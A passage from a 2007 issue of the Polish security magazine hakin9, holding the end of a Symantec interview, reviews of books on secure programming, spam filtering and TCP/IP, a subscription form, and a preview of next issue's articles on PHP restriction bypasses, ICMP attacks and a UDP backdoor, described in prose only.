ze sobą pojawienie się nowych zagrożeń.

Kiedyś nikomu nie przyszłoby do głowy, że pojawie-

nie się telefonu komórkowego będzie niosło ze sobą no-
we zagrożenia. Tymczasem wystarczy znaleźć się w
miejscu publicznym z aktywnym łączem Bluetooth, a sta-
niemy się podatni na infekcję wirusem, czy też na wykra-
dzenie danych z książki telefonicznej. Tego typu przypad-
ki mają miejsce codziennie.

Coraz częściej też płacimy przez telefon, w związ-

ku z tym przejęcie kontroli nad telefonem komórkowym
i wysłanie sms-ów na linie płatne, wykonywanie połą-
czeń na numery płatne stanowi kolejne poważne zagro-
żenie.

Wprowadzenie zintegrowanej telewizji cyfrowej gdzie

również przez sygnał cyfrowy możemy wysyłać cyfrowy
kod destrukcyjny oczywiście wiąże się z zagrożeniami.
Dzisiaj trudno jest spekulować jakie te zagrożenia bę-
dą, ale twórcy wirusów są na tyle kreatywni, że z pewno-
ścią już nad tym pracują, zastanawiając się jak wykorzy-
stać tą okazję.

h9:

Jak wygląda wzrost zainteresowań firmą Syman-

tec na rynku krajowym w stosunku do rynku zagranicz-
nego?

JS:

W Polsce obserwujemy wyraźny trend rosnący.

Przede wszystkim z powodu inwestycji w IT, także w za-
kresie bezpieczeństwa. Wcześniej wydatki w Polsce na
zapewnienie bezpieczeństwa były znacznie niższe niż
w krajach bardziej rozwiniętych, jak chociażby kraje Eu-
ropy Zachodniej. Polska stara się tę przepaść nadrobić,
dlatego polskie przedsiębiorstwa coraz chętniej i więcej
inwestują w technologie IT. Do tej pory polskie firmy in-
westowały głównie w sprzęt. Obecnie widzimy, że opro-
gramowanie zabezpieczające jest często skuteczniej-
sze niż sprzęt. Z drugiej strony jest dużo aplikacji, któ-
re pozwalają nam przede wszystkim zwiększyć wydaj-
ność urządzeń, które stosujemy w sieci bądź też aplika-
cji, które są krytyczne dla naszego biznesu. Stąd zain-
teresowanie rozwiązaniami programowymi zdecydowa-
nie rośnie. l

hakin9 Nr 2/2007

www.hakin9.org

Księgozbiór

hakin9 Nr 2/2007

www.hakin9.org

Księgozbiór

Niewiele  jest  pozycji  zajmujących  się  tematyką  spamu.
Prezentowana publikacja Mikomu jest rzeczywiście książ-
ką dobrą. Co prawda, na początek czytelnik dostaje ponad
70-cio  stronicowy  wykład  o  historii  spamu.  Czyta  się  tę
część  lekko,  łatwo  i  przyjemnie.  Można  się  spierać,  czy
tak zajmujące nieomal 1/5 książki wprowadzenie jest sen-
sowne, niemniej, jest to jedyna słaba strona książki. Spa-
mowi  STOP  jest  bowiem  książką  skonstruowaną  wedle
najlepszych  metodycznych  wzorców  –  kolejne  rozdzia-
ły  są  konsekwentnie  budowane  na  wiedzy  przedstawio-
nej w poprzednich i ten kto spróbuje sobie po zagadnie-
niu „skakać” może zostać zmuszonym do zapoznania się
z wcześniejszym materiałem. Dla tych których znuży prze-
bijanie się poprzez zawiłości tworzenia macierzy decyzyj-
nej, kodowania i dekodowania czy leksemizacji wiadomo-
ści pewnym odpoczynkiem będzie rozdział zatytułowany
„niecne sztuczki natrętów” przedstawiający niektóre z roz-

wiązań stosowanych przez spamerów. Po tym wytchnie-
niu wracamy do zagadnień związanych z filtrami – od roz-
ważań związanych z przechowywaniem i skalowaniem
olbrzymich ilości danych aż po analizę leksykalną czy
algorytmy zbiorowe. Jak widać jest to publikacja przezna-
czona przede wszystkim dla pasjonatów oraz tych którzy
z racji wykonywanych obowiązków muszą poszukać sku-
tecznych metod pozbywania się niechcianej poczty. http://

mikom.pwn.pl/5035_pozycja.html.

Tytuł: C/C++. Bezpieczne programowanie. Receptury.

Autor: John Viega, Matt Messier

Wydawca: Helion

Rok: 2005

Stron: 780

Książka ‘C/C++...’ wydana z serii podręczników wydaw-
nictwa O’Reilly, to jedna z tych pozycji, które powinny
należeć  do  lektur  obowiązkowych  programisty  para-
jącego  się  pisaniem  kodu  w  tych  językach.  Wiadomo
bowiem, iż spora część luk, które inicjują nowe zagro-
żenia  w  oprogramowaniu,  ma  swoją  praprzyczynę
w  lekkomyślności,  pośpiechu  czy  zwyczajnemu  nie-
douczeniu  programisty,  które  spowodowały,  iż  zigno-
rował on zasady prawidłowego tworzenia kodu. Książ-
ka  porusza  zagadnienia  czysto  programistyczne,  nie
oznacza to jednak , że mamy tu do czynienia z jesz-
cze jedną pozycją typu „programowanie w 10 dniu” czy
też  „C++  dla  opornych”.  Publikacje  firmowane  przez
O’Reillego  zdecydowanej  większości  są  wszak  adre-
sowane do zaawansowanego odbiorcy. Na całe szczę-
ście  nie  uszczegóławia  ona  środowiska,  w  którym
będzie  pracował  kod.  W  treści  znajdziemy  przykła-
dy zarówno dla Linuxa jak i dla Windows. Zaprezento-
wane fragmenty kodu, to przede wszystkim przykłady

pozwalające na zobaczenie, że powszechnie spraw-
dzone i wykorzystywane rozwiązania, biblioteki oraz
swoiste triki, mogą stanowić optymalne wyjście z wielu
problemów, zaś jedyną przeszkodą w ich zastosowa-
niu bywa najczęściej niewiedza, która zmusza do przy-
słowiowego „wybijania otwartych drzwi.

Treść książki, skupia się w przeważającej części na

zagadnieniach  dotyczących  bezpiecznego  tworzenia
kodu, unikania znanych błędów, właściwego implemen-
towania  wytyczonych  rozwiązań  oraz  pisania  źródeł
w sposób minimalizujący możliwości wystąpienia nad-
użyć.  Najwięcej  miejsca,  autorzy  poświęcili  zagadnie-
niom dotyczącym oprogramowywania rozwiązań kryp-
tograficznych, tworzenia kodu operującego w sieci czy
też  na  PKI.  Omawiane  przykłady  są  dobrze  dobrane
i w czytelny sposób ilustrują zarówno sam problem jak
i metody jego ominięcia, dając tym samym czytelnikowi
pełny komfort przy studiowaniu przedstawianych zagad-
nień. http://helion.pl/ksiazki/ccprec.htm

Tytuł : Spamowi STOP! Bayesowskie filtrowanie zawartości
i sztuka statystycznej klasyfikacji
języka.

Autor: Jonathan A. Zdziarski

Tłumaczenie: Lexem

Wydawnictwo : Mikom

Stron : 358

Oprawa : Miękka

Recenzje  opracowali  Krystyna  Wal  i  Łukasz  Długosz  z  zespo-
łu  InfoProf  (http://www.infoprof.pl/).  Książki  do  recenzji  udo-
stępniła autorom Księgarnia Informatyczna w Krakowie (http://
www.informatyczna.pl/),  zaś  redakcji  –  wydawnictwa  Helion
i WNT.

hakin9 Nr 2/2007

www.hakin9.org

Księgozbiór

hakin9 Nr 2/2007

www.hakin9.org

Tytuł: 19 grzechów śmiertelnych Jak naprawić najczęstsze usterki oprogramowania.

Autor: Michael Howard, David LeBlanc, John Viega

Wydawca: PWN

Rok: 2006

Stron: 364

Rozpoczynając lekturę książki “19 grzechów śmier-

telnych” spodziewałem się omówienia problemów stric-
te  programistycznych,  tymczasem  autor  opisuje  w
niej  nieco  szerzej  problem  usterek  programowania,
uwzględniając  zagadnienia  bezpieczeństwa  (stosowa-
ne  szyfrowanie,  polityka  haseł)  oraz  poświęca  uwagę
podejściu  samych  użytkowników  do  aplikacji  i  związa-
nych z tym kłopotów. Opis książki sugeruje, iż jest ona
przeznaczona  dla  wszystkich  zajmujących  się  progra-
mowaniem,  jednak  książka  nie  jest  przeznaczona  dla
początkujących  programistów.  Przykłady  są  starannie
opisane,  ale  wskazane  jest  pewne  obycie  w  tematyce
programowania.

Na samym początku moją uwagę zwróciły termi-

ny “wkłucia sql” i “skrypty międzyserwisowe” być może
dlatego, że nie jestem do nich przyzwyczajony brzmiały
dość nietypowo i może dobrym pomysłem byłoby pozo-
stawienie nazw w j. angielskim, niemniej jednak po jakimś
czasie można się do nich przyzwyczaić. Książkę czyta
się szybko, 19 tytułowych grzechów tworzą osobne roz-
działy i pomimo tego, że poszczególne grzechy nacho-
dzą na siebie, w sensie podobieństw w ich popełnianiu,
uważam, że autorowi całkiem dobrze udało się je skata-
logować. Za ciekawy pomysł uważam poruszanie się w

terminologii grzechu – rachunek sumienia, postanowie-
nie poprawy etc.

Każdy opisywany grzech podawany jest w pewien

określony sposób – od jego omówienia, poprzez rozpozna-
nie do opisania sposobów na jego uniknięcie. Do każdego
rozdziału autor dodaje listę materiałów dodatkowych oraz
sugerowanych narzędzi pomocnych w walce z grzechem.

Książka opisuje problemy pojawiające się na wielu

poziomach  projektowania  aplikacji  –  są  tam  opisane
trudności  przy  implementowaniu  połączeń  ssl,  proble-
my związane z rozwiązywaniem nazw dns, przechowy-
waniem haseł, testowaniem danych wejściowych czy też
wspomnianych  skryptów  międzyserwisowych.  Korzy-
ścią dla czytelnika jest, spora ilość przykładów. Podawa-
ne są przykłady zawierające opisywane błędy (grzechy)
jak i takie z poprawionymi błędami. Ponieważ podawane
przykłady nie ograniczają się do jednego języka progra-
mowania  więc  każdy  czytelnik  powinien  znaleźć  odpo-
wiadający mu język – mnie osobiście cieszyły fragmen-
ty kodu w php i python. Autor kładzie nacisk na to, aby
programiści stosowali istniejące i sprawdzone rozwiąza-
nia w miejsce tworzenia czegoś nowego, zaprojektowa-
nego przez nich samych, a zarazem niezweryfikowanego
i podatnego na błędy.

Tytuł: Bezpieczeństwo protokołu TCP/IP

Autor: Libor Dostálek

Wydawca: PWN

Rok: 2006

Stron: 800

Niektórych może mylić tytuł książki, jednak jest to

pełny przewodnik po protokole TCP/IP i na nim opartych.
Pozycja  składa  się  20  rozdziałów,  każdy  dość  wyczer-
pująco  omawia  swój  temat.  Czytając  książkę  zaczyna-
my  od  poznania  podstaw  najpopularniejszego  protoko-
łu.  Poznajemy  jego  budowę,  zalety  i  wady.  Już  na  tym
etapie dowiadujemy się jak zdobyć przepływające przez
niego dane. Pokrótce opisana jest warstwa łącza danych
(Ethernet, FrameRelay, Wlan i PPP – temu poświęcono
nieco więcej miejsca). W dalszej części zostaje opisane
nazewnictwo klientów – IPv4 i IPv6, a także system DNS.
W tym rozdziale, jak i w innych, wykorzystano dużo róż-

norodnych i czytelnych diagramów, a także odwołań do
dokumentów RFC. W kolejnej części dowiemy się wszyst-
kiego  o  MIME  –  podstawie  dzisiejszego  emaila.  Poka-
zane  są  tutaj  także  algorytmy  “szyfrowania”  (Base64,
Quoted-printable czy Radix-64 wykorzystywane w PGP).
Potem dochodzimy do tego na co każdy czekał – uwie-
rzytelnianie  i  autoryzacja.  Nie  jest  to  czysto  techniczny
rozdział, pokazano tutaj fizyczne sposoby uwierzytelnie-
nia (hasła, kody jednorazowe, tokeny, także biometryka),
wspomniano też o protokole RADIUS. Kolejnie przecho-
dzimy do tego co ma chronić – do firewalli, ale także to
jednej z niebezpieczniejszych rzeczy jakimi są serwery.

Zaprenumeruj swoje ulubione magazyny

i zamów archiwalne numery!

Gwarantujemy:

- preferencyjne ceny
- bezpieczną płatność on-line
- szybką realizację Twojego zamówienia
Bezpieczna prenumerata on-line wszystkich tytułów Wydawnictwa Software!

www.buyitpress.com

zamówienie prenumeraty

Prosimy wypełnić czytelnie i przesłać faksem na numer:

(22) 887 10 11 lub listownie na adres: Software-Wydawnictwo Sp. z o.o.,

Bokserska 1, 02-682 Warszawa, e-mail: pren@software.com.pl. Przyjmujemy też zamówienia telefoniczne:

(22) 887 14 44

Imię i nazwisko............................................................................................ ID kontrahenta..........................................................................................

Nazwa firmy................................................................................................. Numer NIP firmy.......................................................................................

Dokładny adres....................................................................................................................................................................................................................

Telefon (wraz z numerem kierunkowym)................................................... Faks (wraz z numerem kierunkowym) ....................................................

E-mail (niezbędny do wysłania faktury)............................................................................................................................................................................

zamówienie prenumeraty

Cena prenumeraty rocznej dla osób prywatnych

Cena prenumeraty rocznej dla osób prenumerujących już Software Developer’s Journal lub Linux+

Cena prenumeraty dwuletniej Aurox Linux

Jeżeli chcesz zapłacić kartą kredytową, wejdź na

stronę naszego sklepu internetowego:

www.buyitpress.com

automatyczne przedłużenie prenumeraty

Suma

Tytuł

Ilość

numerów

Ilość

zamawianych

prenumerat

Od numeru

pisma lub

miesiąca

Opłata

w zł

z VAT

Software Developer’s Journal (1 płyta CD)

– dawniej Software 2.0

Miesięcznik profesjonalnych programistów

250/180

SDJ Extra

(od 1 do 4 płyt CD lub DVD)

– dawniej Software 2.0 Extra!

Numery tematyczne dla programistów

150/135

Linux+DVD (2 płyty DVD)

Miesięcznik o systemie Linux

199/179

Linux+Extra! (od 1 do 7 płyt CD lub DVD)

Numery specjalne z najpopularniejszymi dystrybucjami Linuksa

232/198

PHP Solutions (1 płyta CD)

Dwumiesięcznik o zastosowaniach języka PHP

135

Hakin9, jak się obronić (1 płyta CD)

Miesięcznik o bezpieczeństwie i hakingu

199

/219

.psd (1 płyta CD + film instruktażowy)

Dwumiesięcznik użytkowników programu Adobe Photoshop

140

.psd numery specjalne

(.psd Extra + .psd Starter Kit)

140

Aurox Linux (4 płyty CD + 1 płyta DVD)

Magazyn z najpopularniejszym polskim Linuksem

119

Aktualne informacje o najbliższym numerze

http://www.hakin9.org/pl
Numer w sprzedaży na początku miesiąca marca 2007 r.

Redakcja zastrzega sobie prawo zmiany zawartości pisma.

hakin9

3/2007

w następnym numerze

między innymi:

Zapowiedzi

PHP i czyhające w nim niebezpieczeństwa

Jeżeli możemy przeczytać nienależący do nas plik na serwerze, ktoś inny
może również przeczytać nasz config.php z hasłami do naszej bazy

Paweł Maziarz opisze dyrektywy z php.ini ,,safe_mode'' oraz ,,open_ba-

sedir'' a także przedstawi sposób obejścia przez luki w modułach php (funk-
cje curl, imap, sendmail etc.)

Znajdzie się również opis niektórych funkcji posix_*, które często są ak-

tywne, a które mogą uprzykrzać życie.

Ataki ICMP na protokół TCP

Artykuł będzie opisywał zależność między tymi dwoma protokołami, wpływ
jaki ma ICMP na TCP, w jaki sposób to wykorzystać do zakłócenia lub prze-
rwania sesji TCP oraz jak sobie z tym problemem poradzić.

Zwiększania niezawodności programów komu-

nikujących się za pośrednictwem protokołu

UDP

Klient omawianego backdoora posiadałby miniprotokół w postaci własnej
ramki zawierającej takie elementy jak suma kontrolna CRC oraz identyfika-
tor pakietu. Dzięki tym elementom, backdoor miałby możliwość ewentualne-
go wykrycia uszkodzonego pakietu z poleceniem i wysłaniem do klienta sto-
sownego komunikatu.

Na CD:

• hakin9.live - butowalna dystrybucja Linuxa;
• 26 tutoriali w tym jeden nowy – praktyczne ćwiczenia zagadnień poru-

szanych w artykułach;

•   specjalne wersje komercyjnych programów;
•   e-books – książki elektroniczne;
•   kurs na certyfikat Cisco CCNA. cz. II

Obrona

Atak